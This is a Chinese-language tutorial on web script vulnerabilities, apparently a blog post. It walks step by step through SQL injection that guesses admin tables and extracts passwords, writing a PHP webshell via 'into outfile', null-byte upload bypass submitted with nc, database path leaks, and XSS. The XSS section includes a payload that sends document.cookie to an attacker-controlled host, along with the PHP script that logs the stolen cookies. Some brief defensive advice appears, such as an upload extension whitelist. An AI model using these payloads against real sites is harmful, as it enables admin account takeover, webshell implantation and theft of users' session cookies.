SQL注入脚本漏洞的挖掘与防护/原理实例解析

随着网络经济的复舒,开始越来越多的网站涌现出来,随着脚本漏洞的挖掘,黑客也越来越猖 狂,并且越来越低龄化和傻瓜化。“你只要会用一个工具就可以黑站”,这就是脚本漏洞利的特点。这些漏洞的主要成因是编程程序员的素质,往往在编写asp或 php等程序时候对字符的过滤不严密,对注入漏洞不了解,或者某个参数忘记检查导致的。

由于编写网页程序这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进 行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。我们看一个例子:在本机建一个基于iis的asp程序http://localhost/test/show.asp?ID=3, 将这个网址提交到服务器后,服务器将进行类似Select * from 表名 where 字段=”&ID的查询(ID即客户端提交的参数,本例即是3),再将查询结果返回给客户端,如果这里客户端故意提交这么一个网 址:http://localhost/test/show.asp?ID=3 and user>0,这时,服务器运行Select * from 表名 where 字段=444 and user>0这样的查询,当然,这个语句是运行不下去的,肯定出错,错误信息如下:

·错误类型:

  1. Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
  2. [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 ’test’ 转换为数据类型为 int 的列时发生语法错误。
  3. /test/show.asp, 第 34 行

从这个出错信息中,我们可以获得以下信息:该站使用MSSQL数据库,用ODBC连接,连接帐号名为:test。所谓SQL注入,就是利用程序员对 用户输入数据的合法性检测不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取想得到的资料。通常别有用心者的目标是 获取网站管理员的帐号和密码。比如当知道网站管理员帐号存在表login中,管理员帐号名为admin 想知道admin的密码,这里接着从客户端提交这样一个网址:
http://localhost/test/show.asp?ID=4 and (Select password from login where user_name=’admin’)>0,返回的出错信息如下:

·错误类型:

  1. Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
  2. [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 ’admin888’ 转换为数据类型为 int 的列时发生语法错误。
  3. /test/show.asp, 第 34 行

现在出来了“admin888”就是管理员的密码!得到这个密码,这时您就可以用这个帐号和密码接管人家的网站了!当然我们并不知道帐号就在表 login中,而且也不知道管理员名为admin,但这些不容难办到,我们可以写个工具进行猜解,速度很快就可以找到你想要的东西了。前面是有关 mssql数据库的注入基础,我们再看一看acce数据库的注入基础:首先进行浏览器的设置,以保证手工注入时能返回出错信息。其操作步骤为:右键单击浏 览器图标,选择“属性”,在弹出来的对话框中选择“高级”选项卡,接着去掉“显示友好的HTTP错误信息”前面的钩,最后点击“应用”按钮即可。

对于sql注入得先找到注入点,注入点的判断方法为:通常打开一个类似http://wwww.xxxx.com/xxx.asp?id=xx的url后加个单引号,变成http://ww.xxx.com/xxx.asp?id=xx’

如果出现错误提示,则说明可能存在注入漏洞,再输入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查询数据库,1=1是一个恒等式可以忽略,因此会返回一个正常的页面,此页面和 http://wwww.xxxx.com/xxx.asp?id=xx一样,这时入侵者便判断此站有希望被注入。如果返回的是一些错误信息,那么一些初 级的入侵者可能就会放弃这个站点。入侵者进一步向浏览器提交如下url: http://www.xxx.com/xxx.asp?id=xx and 1=2,1=2为一个恒不等式,如果该站点支持数据库查询,则大概会返回如下所示的信息:

  1. Microsoft vbscript 编译器错误 错误码率
  2. ‘800a03f6’
  3. 缺少’End’
  4. /iishelp/common/500-100.asp,行242
  5. ADODB.Field 错误 ‘800a0bcd’

一般出现以上信息就可以确定存在sql注入漏洞了。下面我们来看一下sql注入的过程分析:

如: 打开:http://hostlocal/test2/list.asp?id=17在其后面加'为http://hostlocal/test2/list.asp?id=17'
出错!显示为:“数据库出错”。那么接下来我们便进行如下操作:

1 猜管理员帐号表。
2 猜相应表中的用户的字段名以及密码的字段名。
3 猜出用户名的长度和密码的长度
4 猜出用户和密码
5 找到管理页面进入管理

猜管理员的表:

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)'//min(id)返回表中ID最小值
返回文章证明,有一个admin的表;如果没有返回文章,证明出错不存在admin这个表。

猜用户的字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user='aaa')

返回错误信息,表示没有user这个用户段名
再来!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username='aaa')
没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在username个字段,只是用户名不是aaa

猜密码的字段名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where passwd='aaa')

返回错误信息表示没有passwd这个密码字段名。

再来:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where password=aaa')

没有返回错误信息,又没有返回文章,提示找不到文章。证明在admin中存在password这个字段,只是密码不是aaa

猜用户字段名长度:

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)>5)

正确
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10)
正确
用户名长度大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)=7)

呵“` 用户名长度为7位

猜密码长度:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
正确
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)
正确
密码长度也是大于5小于10
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)
呵“` 密码长度为7位

猜用户名:
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)='a')

用户名第一个字母是:a

猜用户名第二位:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,2,1)='b')

以此类推!

猜密码:

猜密码跟猜用户名一样!
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)='a')
猜完后来到管理页面:
http://hostlocal/test2/admin.asp

登录

接下来我简述一下对于php的注入攻击:

Php的环境一般是apache+php+mysql,平常配置服务器一般是打开php.ini里的安全模式,将safe_mode设为on, 还有就是将display_erors设为off,即关闭错误显示。还有一个非常重要的配置选项—–magic_quotes_gpc,高版本默认 为on,以前的版本中默认为off。当magic_quotes_gpc为on的时候我们怎么防范php的字符变量注入呢?其实只需将提交的变量中的所有 单引号、双引号、反斜线和空字告符自动转换为含有反斜线的转义字符。如把“’”变成“\”,把“\”变成“\\”,就ok了。下面我们分为对 magic_quotes_gpc=off和magic_quotes_gpc=on的注入清况分析一下。
我们先看一段有漏洞的php代码,这段代码是用来搜索的。

从上面代码中我们可以看出,是一个搜索表单,通过post提交数据,并进行select查询,当然要分析这些漏洞我们得先掌握php语言和 mysql语法。如果我们从表单中提交%’ order by id#(#号在mysql中表示注释,不执行后面的sql语句),或者用’ order by id#,带入的sql语句就成了select * from user where username like ‘% %’ order by id# order by username 和 select * from users where’ order by id# order by username。这样数据库的内容会全部返回,列出所有用户名,还有密码等。当然还有update 语句注入攻击、insert语句注入攻击等,最常用的是union语法注入,采用into outfile语句导出php脚本木马。

首先要清楚一些mysql语句,如mysql>select load_file(‘c:/boot.ini’)我们可以查看c盘下的boot.ini文件内容,在有注入点的网址后面加入该查询语句就可以显示出黑客 们想获得的敏感信息,如查看数据库的连接文件获得数据库帐号,查看ect/password信息等。Select * from table into outfile “C:\\Inetpub\\wwwroot\\shell.php”;也就是从表中导出字符串到C:\Inetpub\wwwroot \shell.php中,通常黑客们在得到mysql帐号的情况下,利用create table rose(cmd text);建立一个rose表,字段cmd为text类型,然后用use rose;打开rose表,insert into rose values”)加入一句话马到字段里。然后select * from rose into outfile “C:\\Inetpub\\wwwroot\\shell.php”;将一句话木马导出为一个shell.php文件,当然这个shell.php中就 包含懂php的都知道这句会造成什么后果,配合提交参数,是可以执行cmd命令和上传php木马的。

当magic_quotes_gpc=on时,提交变量中的所有单引号、双引号、反斜线和空字符会自动转换为含有反斜线的转义字符,字符型的注 入可以防范,但数字型没有用到单引号,字符型注入也可以通过char()将参数解释为整数,并返回由这些整数的ASCII码字符组成的一个字符串,也可以 用16进制来代替字符。例如:在浏览器里输入http://localhost/www/admin/login.php?username=char(114,111,115,101)%23
上面假设的我们知道的用户名是rose,转换成ASCII后是char(114,111,115,101),%23是#号
表注释。那么sql语句变成:select * from example where username==’’,后面的and password=’’被注释掉了,我们顺利进入后台。 在脚本漏洞中,除了sql注入漏洞外还存在很多脚本漏洞,如上传漏洞、暴库漏洞、跨站漏洞、权限提升漏洞,cookies欺骗漏洞等。

上传漏洞:程序代码对上传过滤不严造成可以上传扩展名为asp或php的脚本文件,恶意用户就利用这个漏洞上传asp或php木马直接危急网站及服务器。从2004年国内上传漏洞暴出导致一大片站点被黑,我们看一看原始的动网上传漏洞的原因。

在动网的upfile.asp文件中有这么一句代码:

filename=formPath&year(now)&month(now)&day(now)&hour (now)&minute(now)&second(now)&ranNum&”.”&fileExt,其中变 量filename是要保存上传头像的文件名, fileExt是要保存文件的后缀。下面我们来看看判断后缀的依据从何而来。

reg_upload.asp中部分代码如下:

  1. <form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
  2. <input type="hidden" name="filepath" value="uploadFace">
  3. <input type="hidden" name="act" value="upload">
  4. <input type="file" name="file1">
  5. <input type="hidden" name="fname">
  6. <input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
  7. parent.document.forms[0].Submit2.disabled=true;">
  8. </form>

我们可以看到upfile.asp程序是提取file1表单和fname表单中的值来做文件后缀判断的,

file1和fname的值来源于客户端,这给我们欺骗服务端的程序提供了可能。这里直接从页面上递交我们的ASP文件是行不通的。但是,如果我们自己构造数据包就可以绕过服务端文件类型的检测了。而在这句

filename=formPath&year(now)&month(now)&day(now)& hour(now)&minute(now)&second(now)&ranNum&”.”&fileExt, 代码中我们发现,只要让frompath变量做为一个已经结束的字符串,那么后面的那些改变上传文件名的函数就都不起作用了。在计算机中检测字符串是否结 束是通过检测’/0’来实现的,只要发现了’/0’就认为结束;也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似 “uploadface/mm.asp”这样的路径参数已经结束了,从而达到直接将文件保存为我们定义的文件名的目的。(其实upfile.asp判断你 上传的头像是否为asp后缀并不重要的,漏洞的关键就是一个formPath变量没有过滤及截断的问题。只要我们设定formPath的变量为 “uploadface/xx.asp”这样的值,再在这个值后加个00截断字符就可以了。上传的asp后缀没有变化,只是因为我们把formPath的 变量指定为了uploadface/xx.asp这种格式。file1、forame表单值只是判断我们上传的文件是否合法的jpg或gif后缀而已,而 上传asp文件的后缀指定不是因为这两个。

黑客的攻击手法就是通过注册后上传asp木马(当然失败),在上传的同时进行抓包,将抓的包 保存在记事本中,修改包中的asp扩展名为gif欺骗服务器,再修改包里增加文件的长度,再修正空格为’/0’,然后用nc –vv 网站 80 <修改的文本.txt提交数据到服务器就成功上传了一个脚本木马。当然后来网上写成了软件提高了率效,如老兵上传利工具等。对于上传漏洞的防范,我 们可以直接通过上传组件进行防范,如下:

这里以ASPUPLOAD组件上传为例

以下是3个关键函数:

  1. function killext(byval s1) '去掉非法文件后缀
  2. dim allowext
  3. allowext=".JPG,.JPEG,.GIF,.BMP,.PNG,.SWF,.RM,.MP3,.WAV,.MID,.MIDI,.R,.
  4. AVI,.MPG,.MPEG,.ASF,.ASX,.WMA,.MOV,.RAR,.ZIP,.EXE,.DOC,.XLS,.CHM,.HLP,.PDF"
  5. s1=ucase(s1)
  6. if len(s1)=0 then
  7. killext=""
  8. else
  9. if not chk(allowext,s1,",") then
  10. killext=".sh*t"
  11. else
  12. killext=s1
  13. end if
  14. end if
  15. end function
  16. function chk(byval s1,byval s2,byval fuhao) '检查字符串包含
  17. dim i,a
  18. chk=false
  19. a=split(s1,fuhao)
  20. for i = 0 to ubound(a)
  21. if trim(a(i))=trim(s2) then
  22. chk=true
  23. exit for
  24. end if
  25. next
  26. end function
  27. function gname(byval n1) '以日期自动产生目录和文件名,参数1生成目录,参数2生成文件名(无后缀)
  28. dim t,r
  29. t=now()
  30. randomize(timer)
  31. r=int((rnd+1-1)*9999)
  32. select case n1
  33. case 1
  34. gname=year(t)&right("00"&month(t),2)&right("00"&day(t),2)
  35. case 2
  36. gname=right("00"&hour(t),2)&right("00"&minute(t),2)&right("00"&second(t),2)&right
  37. ("0000"&r,4)
  38. end select
  39. end function

调用方法:

  1. dim oup,ofile,ext,myfile
  2. Set oup = Server.CreateObject("Persits.Upload")
  3. oup.SetMaxSize 10000000, True
  4. call oup.Save() '这里是上传到服务器内存,并没有实际文件产生
  5. set ofile = oup.files(1)
  6. ext=killext(ofile.ext)
  7. myfile="/" & ganme(1) & "/" & gname(2) & ext
  8. call ofile.saveas(server.mappath(myfile))

当然php程序也有部分存在上传漏洞,如DISCUZ2.0论坛等。

下面我们来看一下暴库:

我们知道一个网站的数据都存放在数据库里,包括管理员的用户名和密码,当我们取得后可以直接在网站的后台登录,然后通过欺骗上传或备分数据库上传的 方法上传一个asp木马。常见的暴库方法用conn.asp方法和%5c方法,通常要在ie选项的高级设置中去掉“显示友好http错误”选项的勾。

Conn.asp暴库方法:大多网站都采用conn.asp作为网站的数据库连接文件,通常黑客们采用直接访问conn.asp使服务器产生错误暴 出路径,但这种漏洞已很少存在。%5c是一个精典的暴库方法,通常把网站有数据库连接的网址(通常是二级目录下)的最后一个“/”改为“%5c”,即可暴 出数据库。原理就是%5c是16进制中的“\”,ie通常遇到“%5c”是不会转换的,当iis遇到%5c,即认为是“\”时,iis就以为遇到了一个虚 拟目录便停止解析,而暴出数据库的路径。

对暴库的防范,首先在conn.asp中加入容错语句,对于上传上去的数据库要进行加密,数据库中的密码也要采取md5加密,在数据库名中加入#号,将数据库后缀改为asp等。

跨站漏洞:

漏洞成因:是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。主要危害有:获取其他用户Cookie中的敏感数据和挂马

例如:

1. 进入首页http://localhost

2. 输入用户名“<h1>”,提交,发现服务器返回信息中包含了用户提交的“<h1>”。

3. 分析抓包数据,得到实际请求:

http://localhost/test/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6

4. 构造一个提交,目标是能够显示用户Cookie信息:
http://localhost/test//login/login.pl?username=<script>alert(document.cookie)</ script>&passwd=&ok.x=28&ok.y=6
5. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
http://localhost/test/login/login.pl?username=<script>window.open(“http://www.xxx.com/ info.php?”%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6
其中http://www.xxx.com/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信

息,内容如下:

  1. <?php
  2. $info = getenv("QUERY_STRING");
  3. if ($info) {
  4. $fp = fopen("info.txt","a");
  5. fwrite($fp,$info."\n");
  6. fclose($fp);
  7. }

header(“Location: http://localhostt”);
注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。后面的header语 句则纯粹是为了增加隐蔽性。

当然跨站还有多种攻击形式,如诱使网站管理员查看图片建立管理员帐号,跳转窗口到网马地址,利用cookies欺骗登录后台等。

防范方法:

1. 过滤或转换用户提交数据中的HTML代码

2. 限制用户提交数据的长度

3. 不要轻易访问别人给你的链接
4. 禁止浏览器运行JavaScript和ActiveX代码

还有权限提升漏洞,cookies欺骗漏洞等多种脚本漏洞

发表评论?

0 条评论。

发表评论